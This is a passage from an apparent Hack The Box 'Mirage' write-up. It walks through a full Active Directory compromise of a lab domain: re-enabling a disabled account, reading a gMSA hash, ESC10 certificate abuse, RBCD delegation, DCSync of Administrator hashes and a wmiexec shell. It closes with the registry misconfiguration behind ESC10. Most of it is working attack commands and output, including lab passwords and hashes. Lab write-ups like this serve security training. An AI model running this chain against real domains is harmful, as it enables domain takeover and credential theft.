distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE
<SNIP>
As we can see, we can edit userAccountControl and logonHours attributes; both attributes that can be edited so the account will no longer be disabled.
javier.mmarshall every ~15 minutes to their original status.To fix this we can copy the attribute logonHours from our mark.bbond account (an account we know is enabled) and set those values to javier.mmarshall’s logonHours attribute. For this we also create a credential object that is used to authenticate as mark.bbond user:
*Evil-WinRM* PS C:\Users\nathan.aadam> $Cred = New-Object System.Management.Automation.PSCredential('MIRAGE\mark.bbond', $(ConvertTo-SecureString '1day@atime' -AsPlainText -Force))
*Evil-WinRM* PS C:\Users\nathan.aadam> $logonHours = (Get-ADUser mark.bbond -Properties LogonHours -Credential $Cred).LogonHours
*Evil-WinRM* PS C:\Users\nathan.aadam> Set-ADUser -Identity javier.mmarshall -Credential $Cred -Replace @{LogonHours = $logonHours}
and, in a oneliner, request a TGT as javier.marshall user using the previous executed commands:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!' && KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE && faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181
[+] Password changed successfully!
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in javier.mmarshall.ccache
It worked. We get a ticket for javier.marshall user this time.
We can then use this ticket along with NetExec to abuse ReadGMSAPassword permission and read NTLM hash from Mirage-Service$ account:
❯ KRB5CCNAME=javier.mmarshall.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache --gmsa
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc01.mirage.htb 389 DC01 [+] MIRAGE.HTB\javier.mmarshall from ccache
LDAP dc01.mirage.htb 389 DC01 [*] Getting GMSA Passwords
LDAP dc01.mirage.htb 389 DC01 Account: Mirage-Service$ NTLM: 305806d84f7c1be93a07aaf40f0c7866 PrincipalsAllowedToReadPassword: javier.mmarshall
Request a ticket as Mirage-Service$ account using its NTLM hash:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/'Mirage-Service$' -hashes ':305806d84f7c1be93a07aaf40f0c7866' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service$.ccache
We also check with NetExec if Active Directory Certificate Services (AD CS) is enabled:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache -M adcs
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc01.mirage.htb 389 DC01 [+] MIRAGE.HTB\Mirage-Service$ from ccache
ADCS dc01.mirage.htb 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS dc01.mirage.htb 389 DC01 Found PKI Enrollment Server: dc01.mirage.htb
ADCS dc01.mirage.htb 389 DC01 Found CN: mirage-DC01-CA
It is.
We can use Certipy to see if we have vulnerable certificates:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy find -target-ip dc01.mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb -k -no-pass -dc-ip 10.129.221.181 -vulnerable -stdout -enabled
Certipy v5.0.2 - by Oliver Lyak (ly4k)
<SNIP>
[*] Enumeration output:
Certificate Authorities
0
CA Name : mirage-DC01-CA
DNS Name : dc01.mirage.htb
Certificate Subject : CN=mirage-DC01-CA, DC=mirage, DC=htb
Certificate Serial Number : 1512EEC0308E13A146A0B5AD6AA741C9
Certificate Validity Start : 2025-07-04 19:58:25+00:00
Certificate Validity End : 2125-07-04 20:08:25+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : MIRAGE.HTB\Administrators
Access Rights
ManageCa : MIRAGE.HTB\Administrators
MIRAGE.HTB\Domain Admins
MIRAGE.HTB\Enterprise Admins
ManageCertificates : MIRAGE.HTB\Administrators
MIRAGE.HTB\Domain Admins
MIRAGE.HTB\Enterprise Admins
Enroll : MIRAGE.HTB\Authenticated Users
Certificate Templates : [!] Could not find any certificate templates
We can’t see a vulnerable certificate. However, as we will see later, this machine is vulnerable to ESC10. A really good explanation and summary for this attack is explained at Certipy’s wiki.
A little hint about this is that Mirage-Service$ account can write over userPrincipalName (UPN) for mark.bbond account -among other properties-:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
msDS-HABSeniorityIndex: WRITE
msDS-PhoneticDisplayName: WRITE
msDS-PhoneticCompanyName: WRITE
msDS-PhoneticDepartment: WRITE
msDS-PhoneticLastName: WRITE
msDS-PhoneticFirstName: WRITE
msDS-SourceObjectDN: WRITE
msDS-AllowedToDelegateTo: WRITE
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
otherMailbox: WRITE
showInAddressBook: WRITE
systemFlags: WRITE
division: WRITE
objectGUID: WRITE
name: WRITE
displayNamePrintable: WRITE
proxyAddresses: WRITE
company: WRITE
department: WRITE
co: WRITE
dn: WRITE
initials: WRITE
givenName: WRITE
description: WRITE
title: WRITE
ou: WRITE
o: WRITE
sn: WRITE
objectCategory: WRITE
cn: WRITE
objectClass: WRITE
We can see userPrincipalName: WRITE, which is enough for ESC10 since we need to modify UPN.
We then need to make that mark.bbond’s UPN matches the DC machine account, i.e., dc01$:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn 'dc01$'@mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
userPrincipalName : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'
Request a certificate (.pfx) for this user:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy req -u 'mark.bbond'@mirage.htb -k -no-pass -dc-host dc01.mirage.htb -target dc01.mirage.htb -ca mirage-DC01-CA -template User
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 12
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'
Restore mark.bbond’s UPN to its original value:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn mark.bbond@lab.local -dc-host dc01.mirage.htb -target dc01.mirage.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
userPrincipalName : mark.bbond@lab.local
[*] Successfully updated 'mark.bbond'
Use the generated dc01.pfx file to enter in an ldap shell:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy auth -pfx dc01.pfx -domain mirage.htb -dc-ip 10.129.221.181 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'dc01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.221.181:636'
[*] Authenticated to '10.129.221.181' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
#
and use this shell to add a computer in the domain that we could later use to perform a Resource-based Constrained Delegation (RBCD) attack:
# add_computer gunzf0x gunzfox123$!
Attempting to add a new computer with the name: gunzf0x$
Inferred Domain DN: DC=mirage,DC=htb
Inferred Domain Name: mirage.htb
New Computer DN: CN=gunzf0x,CN=Computers,DC=mirage,DC=htb
LDAPUnwillingToPerformResult - 53 - unwillingToPerform - None - 0000216D: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0
- addResponse - None
But we are not allowed to perform this action since we cannot add machines to the domain; probably because our machineQuota is set to 0.
Therefore, just give Resource-based Constrained Delegation (RBCD) privilege to a computer/service account we already own and we have writing permissions on; that is Mirage-Service$ user:
# set_rbcd dc01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Currently allowed sids:
S-1-5-21-2127163471-3824721834-2568365109-1109
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy
Then, we can use impacket-getST to perform the RBCD attack. If we attempt to impersonate Administrator the attack fails:
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'Administrator' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user Mirage-Service$ or initial TGT not forwardable
Nevertheless, it works if we attempt to impersonate dc01$ machine account (the DC machine account):
❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'dc01$' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache
Since this is the dc01$ account ticket, we can use it to perform a DCSync attack and get Administrator hashes with impacket-secretsdump:
❯ KRB5CCNAME=dc01\$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass dc01.mirage.htb -just-dc-user Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
[*] Cleaning up...
GG.
We can then generate a TGT ticket for Administrator user:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/administrator -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in administrator.ccache
and access to the victim machine with a tool such as wmiexec.py from Impacket:
❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass dc01.mirage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
mirage\administrator
We can grab the root flag at Administrator’s Desktop.
~Happy Hacking.
Beyond Root Link to heading
The reason why this machine is vulnerable to ESC10 is due to registry key CertificateMappingMethods with value 0x4, indicating no strong mapping. We can check this registry from a remote machine using reg.py from Impacket and the ticket of a privileged account:
❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-reg -k -no-pass dc01.mirage.htb query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
EventLogging REG_DWORD 0x1
CertificateMappingMethods REG_DWORD 0x4
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
Since this value is set to 0x4, it allow us to perform ESC10 attack. Of course this is not possible to know if we are not already a privileged user, but in a Whitebox Pentesting it is recommended to check this value to mitigate this attack.